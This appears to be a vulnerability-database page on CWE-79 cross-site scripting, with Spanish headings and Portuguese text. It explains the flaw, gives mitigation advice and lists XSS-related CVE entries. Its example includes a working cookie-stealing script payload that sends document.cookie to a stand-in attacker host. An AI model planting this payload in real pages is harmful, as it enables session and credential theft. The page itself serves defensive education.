Fallos del tipo CWE-79

30.299 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-39509MEDIUMWordPress TNC FlipBook plugin <= 12.1.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-78318MEDIUMApache Syncope: Unauthenticated reflected XSS in Console and EnduserEPSS 0.3%CVE-2026-27016MEDIUMLibreNMS has Stored XSS in Custom OID - unit parameter missing strip_tags()EPSS 0.3%CVE-2024-37239MEDIUMWordPress Branda plugin <= 3.4.17 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-5173MEDIUMHT Mega – Absolute Addons For Elementor <= 2.5.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via Video Player Widget SettingsEPSS 0.3%CVE-2026-9419MEDIUMcode-projects Employee Management System empproject.php cross site scriptingEPSS 0.3%CVE-2026-52370MEDIUMA reflected cross-site scripting (XSS) vulnerability in the Forum posting function of O2OA v10 allows attackers to execute arbitrary JavascrEPSS 0.3%CVE-2024-58391MEDIUMFrappe before 15.4.0 XSS via Printview ParametersEPSS 0.3%CVE-2026-91944MEDIUMcrawl4ai before 0.9.3 DOM-based XSS via Playground UIEPSS 0.3%CVE-2026-82788MEDIUMCross-site scripting vulnerability exists in CPSL-08P1EN. If this vulnerability is exploited, an arbitrary script may be executed on a loggeEPSS 0.3%CVE-2025-31543MEDIUMWordPress Twice Commerce plugin <= 1.3.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-31593MEDIUMWordPress OpenMenu plugin <= 3.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-31532MEDIUMWordPress AtomChat plugin <= 1.1.8 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-88743MEDIUMBacularis 4.7.0 - 6.5.0 is vulnerable to Stored cross-site scripting (XSS) in director tags.EPSS 0.3%CVE-2026-85599MEDIUMGrav Shortcode Core before 6.2.5 Stored XSS via unescaped parametersEPSS 0.3%CVE-2026-120343MEDIUMmathurvishal CloudClassroom-PHP-Project manageassessment2.php cross site scriptingEPSS 0.3%CVE-2021-27703MEDIUMSercomm Model Etisalat Model S3- AC2100 is affected by Cross Site Scripting (XSS) via the firmware update page.EPSS 0.3%CVE-2026-6150MEDIUMcode-projects Simple Laundry System checkupdatestatus.php cross site scriptingEPSS 0.3%CVE-2024-8543MEDIUMSlider comparison image before and after <= 0.8.3 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-4001MEDIUMDownload Manager <= 3.2.93 - Authenticated (Contributor+) Stored Cross-Site Scripting via wpdm_modal_login_form ShortcodeEPSS 0.3%